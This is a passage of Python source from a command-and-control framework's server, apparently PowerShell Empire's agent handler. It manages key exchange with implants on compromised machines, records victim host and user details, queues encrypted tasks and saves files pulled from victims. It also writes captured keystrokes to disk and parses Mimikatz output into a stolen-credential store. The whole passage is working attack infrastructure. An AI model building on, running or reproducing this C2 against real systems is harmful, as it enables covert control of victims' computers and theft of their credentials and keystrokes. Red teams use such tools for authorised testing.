                        clientSessionKey = self.mainMenu.agents.get_agent_session_key_db(sessionID)
                        data = "%s%s" % (nonce, clientSessionKey)

                        data = data.encode('ascii', 'ignore') # TODO: is this needed?

                        # step 4 of negotiation -> server returns RSA(nonce+AESsession))
                        encryptedMsg = encryption.rsa_encrypt(rsaKey, data)
                        # TODO: wrap this in a routing packet!

                        return encryptedMsg

                    else:
                        dispatcher.send("[!] Agent %s returned an invalid PowerShell public key!" % (sessionID), sender='Agents')
                        return 'ERROR: Invalid PowerShell public key'

            elif language.lower() == 'python':
                if ((len(message) < 1000) or (len(message) > 2500)):
                    dispatcher.send("[!] Invalid Python key post format from %s" % (sessionID), sender='Agents')
                    return "Error: Invalid Python key post format from %s" % (sessionID)
                else:
                    try:
                        int(message)
                    except:
                        dispatcher.send("[!] Invalid Python key post format from %s" % (sessionID), sender='Agents')
                        return "Error: Invalid Python key post format from %s" % (sessionID)

                    # client posts PUBc key
                    clientPub = int(message)
                    serverPub = encryption.DiffieHellman()
                    serverPub.genKey(clientPub)
                    # serverPub.key == the negotiated session key

                    nonce = helpers.random_string(16, charset=string.digits)

                    dispatcher.send("[*] Agent %s from %s posted valid Python PUB key" % (sessionID, clientIP), sender='Agents')

                    delay = listenerOptions['DefaultDelay']['Value']
                    jitter = listenerOptions['DefaultJitter']['Value']
                    profile = listenerOptions['DefaultProfile']['Value']
                    killDate = listenerOptions['KillDate']['Value']
                    workingHours = listenerOptions['WorkingHours']['Value']
                    lostLimit = listenerOptions['DefaultLostLimit']['Value']

                    # add the agent to the database now that it's "checked in"
                    self.mainMenu.agents.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours, lostLimit, sessionKey=serverPub.key, nonce=nonce, listener=listenerName)

                    # step 4 of negotiation -> server returns HMAC(AESn(nonce+PUBs))
                    data = "%s%s" % (nonce, serverPub.publicKey)
                    encryptedMsg = encryption.aes_encrypt_then_hmac(stagingKey, data)
                    # TODO: wrap this in a routing packet?

                    return encryptedMsg

            else:
                dispatcher.send("[*] Agent %s from %s using an invalid language specification: %s" % (sessionID, clientIP, language), sender='Agents')
                'ERROR: invalid language: %s' % (language)

        elif meta == 'STAGE2':
            # step 5 of negotiation -> client posts nonce+sysinfo and requests agent

            sessionKey = self.agents[sessionID]['sessionKey']

            try:
                message = encryption.aes_decrypt_and_verify(sessionKey, encData)
                parts = message.split('|')

                if len(parts) < 12:
                    dispatcher.send("[!] Agent %s posted invalid sysinfo checkin format: %s" % (sessionID, message), sender='Agents')
                    # remove the agent from the cache/database
                    self.mainMenu.agents.remove_agent_db(sessionID)
                    return "ERROR: Agent %s posted invalid sysinfo checkin format: %s" % (sessionID, message)

                # verify the nonce
                if int(parts[0]) != (int(self.mainMenu.agents.get_agent_nonce_db(sessionID)) + 1):
                    dispatcher.send("[!] Invalid nonce returned from %s" % (sessionID), sender='Agents')
                    # remove the agent from the cache/database
                    self.mainMenu.agents.remove_agent_db(sessionID)
                    return "ERROR: Invalid nonce returned from %s" % (sessionID)

                dispatcher.send("[!] Nonce verified: agent %s posted valid sysinfo checkin format: %s" % (sessionID, message), sender='Agents')

                listener = unicode(parts[1], 'utf-8')
                domainname = unicode(parts[2], 'utf-8')
                username = unicode(parts[3], 'utf-8')
                hostname = unicode(parts[4], 'utf-8')
                external_ip = unicode(clientIP, 'utf-8')
                internal_ip = unicode(parts[5], 'utf-8')
                os_details = unicode(parts[6], 'utf-8')
                high_integrity = unicode(parts[7], 'utf-8')
                process_name = unicode(parts[8], 'utf-8')
                process_id = unicode(parts[9], 'utf-8')
                language = unicode(parts[10], 'utf-8')
                language_version = unicode(parts[11], 'utf-8')
                if high_integrity == "True":
                    high_integrity = 1
                else:
                    high_integrity = 0

            except Exception as e:
                dispatcher.send("[!] Exception in agents.handle_agent_staging() for %s : %s" % (sessionID, e), sender='Agents')
                # remove the agent from the cache/database
                self.mainMenu.agents.remove_agent_db(sessionID)
                return "Error: Exception in agents.handle_agent_staging() for %s : %s" % (sessionID, e)

            if domainname and domainname.strip() != '':
                username = "%s\\%s" % (domainname, username)

            # update the agent with this new information
            self.mainMenu.agents.update_agent_sysinfo_db(sessionID, listener=listenerName, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, language_version=language_version, language=language)

            # signal to Slack that this agent is now active
            
            slackToken = listenerOptions['SlackToken']['Value']
            slackChannel = listenerOptions['SlackChannel']['Value']
            h = socket.gethostname()
            slackText = "%s new agent on %s; agent: %s; platform: %s; type: empire" % (h, external_ip, sessionID, os_details)
            helpers.slackMessage(slackToken,slackChannel,slackText)
            
	        # signal everyone that this agent is now active
            dispatcher.send("[+] Initial agent %s from %s now active (Slack)" % (sessionID, clientIP), sender='Agents')
	    
            # save the initial sysinfo information in the agent log
            agent = self.mainMenu.agents.get_agent_db(sessionID)
            output = messages.display_agent(agent, returnAsString=True)
            output += "\n[+] Agent %s now active:\n" % (sessionID)
            self.mainMenu.agents.save_agent_log(sessionID, output)

            # if a script autorun is set, set that as the agent's first tasking
            autorun = self.get_autoruns_db()
            if autorun and autorun[0] != '' and autorun[1] != '':
                self.add_agent_task_db(sessionID, autorun[0], autorun[1])

            if self.mainMenu.autoRuns.has_key(language.lower()) and len(self.mainMenu.autoRuns[language.lower()]) > 0:
                autorunCmds = ["interact %s" % sessionID]
                autorunCmds.extend(self.mainMenu.autoRuns[language.lower()])
                autorunCmds.extend(["lastautoruncmd"])
                self.mainMenu.resourceQueue.extend(autorunCmds)
                try:
                    #this will cause the cmdloop() to start processing the autoruns
                    self.mainMenu.do_agents("kickit")
                except Exception as e:
                    if e.message == "endautorun":
                        pass
                    else:
                        raise e

            return "STAGE2: %s" % (sessionID)

        else:
            dispatcher.send("[!] Invalid staging request packet from %s at %s : %s" % (sessionID, clientIP, meta), sender='Agents')


    def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP='0.0.0.0'):
        """
        Take the routing packet w/ raw encrypted data from an agent and
        process as appropriately.

        Abstracted out sufficiently for any listener module to use.
        """

        if len(routingPacket) < 20:
            dispatcher.send("[!] handle_agent_data(): routingPacket wrong length: %s" %(len(routingPacket)), sender='Agents')
            return None

        routingPacket = packets.parse_routing_packet(stagingKey, routingPacket)

        if not routingPacket:
            return [('', "ERROR: invalid routing packet")]

        dataToReturn = []

        # process each routing packet
        for sessionID, (language, meta, additional, encData) in routingPacket.iteritems():

            if meta == 'STAGE0' or meta == 'STAGE1' or meta == 'STAGE2':
                dispatcher.send("[*] handle_agent_data(): sessionID %s issued a %s request" % (sessionID, meta), sender='Agents')
                dataToReturn.append((language, self.handle_agent_staging(sessionID, language, meta, additional, encData, stagingKey, listenerOptions, clientIP)))

            elif sessionID not in self.agents:
                dispatcher.send("[!] handle_agent_data(): sessionID %s not present" % (sessionID), sender='Agents')
                dataToReturn.append(('', "ERROR: sessionID %s not in cache!" % (sessionID)))

            elif meta == 'TASKING_REQUEST':
                dispatcher.send("[*] handle_agent_data(): sessionID %s issued a TASKING_REQUEST" % (sessionID), sender='Agents')
                dataToReturn.append((language, self.handle_agent_request(sessionID, language, stagingKey)))

            elif meta == 'RESULT_POST':
                dispatcher.send("[*] handle_agent_data(): sessionID %s issued a RESULT_POST" % (sessionID), sender='Agents')
                dataToReturn.append((language, self.handle_agent_response(sessionID, encData)))

            else:
                dispatcher.send("[!] handle_agent_data(): sessionID %s gave unhandled meta tag in routing packet: %s" % (sessionID, meta), sender='Agents')

        return dataToReturn


    def handle_agent_request(self, sessionID, language, stagingKey):
        """
        Update the agent's last seen time and return any encrypted taskings.

        TODO: does this need self.lock?
        """
        if sessionID not in self.agents:
            dispatcher.send("[!] handle_agent_request(): sessionID %s not present" % (sessionID), sender='Agents')
            return None

        # update the client's last seen time
        self.update_agent_lastseen_db(sessionID)

        # retrieve all agent taskings from the cache
        taskings = self.get_agent_tasks_db(sessionID)

        if taskings and taskings != []:

            all_task_packets = ''

            # build tasking packets for everything we have
            for tasking in taskings:
                task_name, task_data, res_id = tasking

                all_task_packets += packets.build_task_packet(task_name, task_data, res_id)

            # get the session key for the agent
            session_key = self.agents[sessionID]['sessionKey']

            # encrypt the tasking packets with the agent's session key
            encrypted_data = encryption.aes_encrypt_then_hmac(session_key, all_task_packets)

            return packets.build_routing_packet(stagingKey, sessionID, language, meta='SERVER_RESPONSE', encData=encrypted_data)

        # if no tasking for the agent
        else:
            return None


    def handle_agent_response(self, sessionID, encData):
        """
        Takes a sessionID and posted encrypted data response, decrypt
        everything and handle results as appropriate.

        TODO: does this need self.lock?
        """

        if sessionID not in self.agents:
            dispatcher.send("[!] handle_agent_response(): sessionID %s not in cache" % (sessionID), sender='Agents')
            return None

        # extract the agent's session key
        sessionKey = self.agents[sessionID]['sessionKey']

        # update the client's last seen time
        self.update_agent_lastseen_db(sessionID)

        try:
            # verify, decrypt and depad the packet
            packet = encryption.aes_decrypt_and_verify(sessionKey, encData)

            # process the packet and extract necessary data
            responsePackets = packets.parse_result_packets(packet)
            results = False

            # process each result packet
            for (responseName, totalPacket, packetNum, taskID, length, data) in responsePackets:
                # process the agent's response
                self.process_agent_packet(sessionID, responseName, taskID, data)
                results = True

            conn = self.get_db_connection()
            cur = conn.cursor()      
            data = cur.execute("SELECT data FROM taskings WHERE agent=? AND id=?", [sessionID,taskID]).fetchone()[0]
            cur.close()
            theSender="Agents"
            if data.startswith("function Get-Keystrokes"):
		        theSender += "PsKeyLogger"
            if results:
                # signal that this agent returned results
                dispatcher.send("[*] Agent %s returned results." % (sessionID), sender=theSender)

            # return a 200/valid
            return 'VALID'

        except Exception as e:
            dispatcher.send("[!] Error processing result packet from %s : %s" % (sessionID, e), sender='Agents')

            # TODO: stupid concurrency...
            #   when an exception is thrown, something causes the lock to remain locked...
            # if self.lock.locked():
            #     self.lock.release()

            return None


    def process_agent_packet(self, sessionID, responseName, taskID, data):
        """
        Handle the result packet based on sessionID and responseName.
        """

        agentSessionID = sessionID
        keyLogTaskID = None

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id_db(sessionID)
        if nameid:
            sessionID = nameid

        conn = self.get_db_connection()
        try:
            self.lock.acquire()
            # report the agent result in the reporting database
            cur = conn.cursor()
            cur.execute("INSERT INTO reporting (name, event_type, message, time_stamp, taskID) VALUES (?,?,?,?,?)", (agentSessionID, "result", responseName, helpers.get_datetime(), taskID))

            # insert task results into the database, if it's not a file
            if taskID != 0 and responseName not in ["TASK_DOWNLOAD", "TASK_CMD_JOB_SAVE", "TASK_CMD_WAIT_SAVE"] and data != None:
                # if the taskID does not exist for this agent, create it
                if cur.execute("SELECT * FROM results WHERE id=? AND agent=?", [taskID, sessionID]).fetchone() is None:
                    pk = cur.execute("SELECT max(id) FROM results WHERE agent=?", [sessionID]).fetchone()[0]
                    if pk is None:
                        pk = 0
                    # only 2 bytes for the task ID, so wraparound
                    pk = (pk + 1) % 65536
                    cur.execute("INSERT INTO results (id, agent, data) VALUES (?,?,?)",(pk, sessionID, data))
                else:
                    try:
                        keyLogTaskID = cur.execute("SELECT id FROM taskings WHERE agent=? AND data LIKE \"function Get-Keystrokes%\"", [sessionID]).fetchone()[0]
                    except Exception as e:
                        pass
                    cur.execute("UPDATE results SET data=data||? WHERE id=? AND agent=?", [data, taskID, sessionID])

        finally:
            cur.close()
            self.lock.release()

        # TODO: for heavy traffic packets, check these first (i.e. SOCKS?)
        #       so this logic is skipped

        if responseName == "ERROR":
            # error code
            dispatcher.send("[!] Received error response from " + str(sessionID), sender='Agents')
            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, "[!] Error response: " + data)


        elif responseName == "TASK_SYSINFO":
            # sys info response -> update the host info
            parts = data.split("|")
            if len(parts) < 12:
                dispatcher.send("[!] Invalid sysinfo response from " + str(sessionID), sender='Agents')
            else:
                print "sysinfo:",data
                # extract appropriate system information
                listener = unicode(parts[1], 'utf-8')
                domainname = unicode(parts[2], 'utf-8')
                username = unicode(parts[3], 'utf-8')
                hostname = unicode(parts[4], 'utf-8')
                internal_ip = unicode(parts[5], 'utf-8')
                os_details = unicode(parts[6], 'utf-8')
                high_integrity = unicode(parts[7], 'utf-8')
                process_name = unicode(parts[8], 'utf-8')
                process_id = unicode(parts[9], 'utf-8')
                language = unicode(parts[10], 'utf-8')
                language_version = unicode(parts[11], 'utf-8')
                if high_integrity == 'True':
                    high_integrity = 1
                else:
                    high_integrity = 0

                # username = str(domainname)+"\\"+str(username)
                username = "%s\\%s" % (domainname, username)

                # update the agent with this new information
                self.mainMenu.agents.update_agent_sysinfo_db(sessionID, listener=listener, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, language_version=language_version, language=language)

                sysinfo = '{0: <18}'.format("Listener:") + listener + "\n"
                sysinfo += '{0: <16}'.format("Internal IP:") + internal_ip + "\n"
                sysinfo += '{0: <18}'.format("Username:") + username + "\n"
                sysinfo += '{0: <16}'.format("Hostname:") + hostname + "\n"
                sysinfo += '{0: <18}'.format("OS:") + os_details + "\n"
                sysinfo += '{0: <18}'.format("High Integrity:") + str(high_integrity) + "\n"
                sysinfo += '{0: <18}'.format("Process Name:") + process_name + "\n"
                sysinfo += '{0: <18}'.format("Process ID:") + process_id + "\n"
                sysinfo += '{0: <18}'.format("Language:") + language + "\n"
                sysinfo += '{0: <18}'.format("Language Version:") + language_version + "\n"

                self.update_agent_results_db(sessionID, sysinfo)
                # update the agent log
                self.save_agent_log(sessionID, sysinfo)


        elif responseName == "TASK_EXIT":
            # exit command response
            data = "[!] Agent %s exiting" % (sessionID)
            # let everyone know this agent exited
            dispatcher.send(data, sender='Agents')

            # update the agent results and log
            # self.update_agent_results(sessionID, data)
            self.save_agent_log(sessionID, data)

            # remove this agent from the cache/database
            self.remove_agent_db(sessionID)


        elif responseName == "TASK_SHELL":
            # shell command response
            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_DOWNLOAD":
            # file download
            parts = data.split("|")
            if len(parts) != 3:
                dispatcher.send("[!] Received invalid file download response from " + sessionID, sender='Agents')
            else:
                index, path, data = parts
                # decode the file data and save it off as appropriate
                file_data = helpers.decode_base64(data)
                name = self.get_agent_name_db(sessionID)

                if index == "0":
                    self.save_file(name, path, file_data)
                else:
                    self.save_file(name, path, file_data, append=True)
                # update the agent log
                msg = "file download: %s, part: %s" % (path, index)
                self.save_agent_log(sessionID, msg)

        elif responseName == "TASK_GETDOWNLOADS":
            if not data or data.strip().strip() == "":
                data = "[*] No active downloads"

            self.update_agent_results_db(sessionID, data)
            #update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_STOPDOWNLOAD":
            # download kill response
            self.update_agent_results_db(sessionID, data)
            #update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_UPLOAD":
            pass


        elif responseName == "TASK_GETJOBS":

            if not data or data.strip().strip() == "":
                data = "[*] No active jobs"

            # running jobs
            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_STOPJOB":
            # job kill response
            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_CMD_WAIT":

            # dynamic script output -> blocking
            self.update_agent_results_db(sessionID, data)

            # see if there are any credentials to parse
            time = helpers.get_datetime()
            creds = helpers.parse_credentials(data)

            if creds:
                for cred in creds:

                    hostname = cred[4]

                    if hostname == "":
                        hostname = self.get_agent_hostname_db(sessionID)

                    osDetails = self.get_agent_os_db(sessionID)

                    self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, osDetails, cred[5], time)

            # update the agent log
            self.save_agent_log(sessionID, data)


        elif responseName == "TASK_CMD_WAIT_SAVE":
            # dynamic script output -> blocking, save data
            name = self.get_agent_name_db(sessionID)

            # extract the file save prefix and extension
            prefix = data[0:15].strip()
            extension = data[15:20].strip()
            file_data = helpers.decode_base64(data[20:])

            # save the file off to the appropriate path
            save_path = "%s/%s_%s.%s" % (prefix, self.get_agent_hostname_db(sessionID), helpers.get_file_datetime(), extension)
            final_save_path = self.save_module_file(name, save_path, file_data)

            # update the agent log
            msg = "Output saved to .%s" % (final_save_path)
            self.update_agent_results_db(sessionID, msg)
            self.save_agent_log(sessionID, msg)


        elif responseName == "TASK_CMD_JOB":
	    #check if this is the powershell keylogging task, if so, write output to file instead of screen
            if keyLogTaskID and keyLogTaskID == taskID:
                safePath = os.path.abspath("%sdownloads/" % self.mainMenu.installPath)
                savePath = "%sdownloads/%s/keystrokes.txt" % (self.mainMenu.installPath,sessionID)
                if not os.path.abspath(savePath).startswith(safePath):
                    dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (self.sessionID), sender='Agents')
                    return

                with open(savePath,"a+") as f:
                    new_results = data.replace("\r\n","").replace("[SpaceBar]", "").replace('\b', '').replace("[Shift]", "").replace("[Enter]\r","\r\n")
                    f.write(new_results)
            else:
                # dynamic script output -> non-blocking
                self.update_agent_results_db(sessionID, data)

                # update the agent log
                self.save_agent_log(sessionID, data)

            # TODO: redo this regex for really large AD dumps
            #   so a ton of data isn't kept in memory...?
            parts = data.split("\n")
            if len(parts) > 10:
                time = helpers.get_datetime()
                if parts[0].startswith("Hostname:"):
                    # if we get Invoke-Mimikatz output, try to parse it and add
                    #   it to the internal credential store

                    # cred format: (credType, domain, username, password, hostname, sid, notes)
                    creds = helpers.parse_mimikatz(data)

                    for cred in creds:
                        hostname = cred[4]

                        if hostname == "":
                            hostname = self.get_agent_hostname_db(sessionID)

                        osDetails = self.get_agent_os_db(sessionID)

                        self.mainMenu.credentials.add_credential(cred[0], cred[1], cred[2], cred[3], hostname, osDetails, cred[5], time)


        elif responseName == "TASK_CMD_JOB_SAVE":
            # dynamic script output -> non-blocking, save data
            name = self.get_agent_name_db(sessionID)

            # extract the file save prefix and extension
            prefix = data[0:15].strip()
            extension = data[15:20].strip()
            file_data = helpers.decode_base64(data[20:])

            # save the file off to the appropriate path
            save_path = "%s/%s_%s.%s" % (prefix, self.get_agent_hostname_db(sessionID), helpers.get_file_datetime(), extension)
            final_save_path = self.save_module_file(name, save_path, file_data)

            # update the agent log
            msg = "Output saved to .%s" % (final_save_path)
            self.update_agent_results_db(sessionID, msg)
            self.save_agent_log(sessionID, msg)


        elif responseName == "TASK_SCRIPT_IMPORT":
            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_IMPORT_MODULE":
            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_VIEW_MODULE":
            self.update_agent_results_db(sessionID, data)
            #update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_REMOVE_MODULE":
            self.update_agent_results_db(sessionID, data)
            #update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_SCRIPT_COMMAND":
            
            self.update_agent_results_db(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_SWITCH_LISTENER":
            # update the agent listener
            self.update_agent_listener_db(sessionID, data)
            dispatcher.send("[+] Listener for '%s' updated to '%s'" % (sessionID, data), sender='Agents')

        else:
            print helpers.color("[!] Unknown response %s from %s" % (responseName, sessionID))
